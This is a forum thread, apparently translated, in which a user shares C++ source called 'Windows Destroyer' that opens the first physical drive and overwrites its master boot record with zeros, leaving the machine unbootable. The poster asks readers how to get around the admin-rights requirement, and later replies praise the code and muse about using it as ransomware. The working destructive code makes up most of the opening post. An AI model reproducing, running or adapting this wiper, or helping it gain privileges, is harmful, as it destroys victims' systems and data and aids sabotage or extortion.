Thread: [C ++ Windows Destroyer!](#)

**Astate** - September 11, 2020, 7:14 pm

I share with you a small source which allows to destroy a windows that I wrote. More precisely, this code will rewrite the first section of the hard drive (the one that allows booting).

DO NOT LAUNCH IT ON YOUR PC.?

```
Code #include <iostream>
#include <Windows.h>
```

```
using namespace std;
```

```
int main()
{
    DWORD write;
    char mbrData[512];
    ZeroMemory(&mbrData, (sizeof mbrData));
```

```
    HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL,
    FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
```

```
    if(WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == true){
        cout << "Succes !" << endl;
        Sleep(5000);
        ExitProcess(0);
    }
    else {
        cout << "fail" << endl;
        Sleep(5000);
        ExitProcess(0);
    }
}
```

```
    CloseHandle(MasterBootRecord);
    return EXIT_SUCCESS;
```

]EDIT: I forgot to specify, the software must have admin rights. If you have a solution for this comment!...

Looks like this in ugly.

<https://github.com/sheep-o/Windows-MBR-Overwrite/blob/master/Main.cpp>

**Astate** - September 12, 2020, 7:26 pm

?Sorry for this bad post !... But,

I did not want to harm the good being of the Forums...

I just wanted to present a new way of doing things, for those new or the Nob to the Forums who don't really know the development

I didn't think I would revolutionize the Shit!... ?

Also I don't believe I saw the same Post on the Forum, So I didn't think I was harmful ?  
So I didn't think I was helpful, but informative...

**taapy** - September 18, 2020, 3:28 pm

Thanks mate thats awesome ! :D

**indetectable** - September 18, 2020, 4:12 pm

But suddenly it could be used as ransomware no ??

**SIM-3750641** - September 24, 2020, 1:18 pm

Hahaha dang this is scary to play with, I have a habit of building and running programs all the time...  
Thanks bro

rewriting the masterboot record will fuck up your pc indeed, but its not hard to fix it rip the files  
though
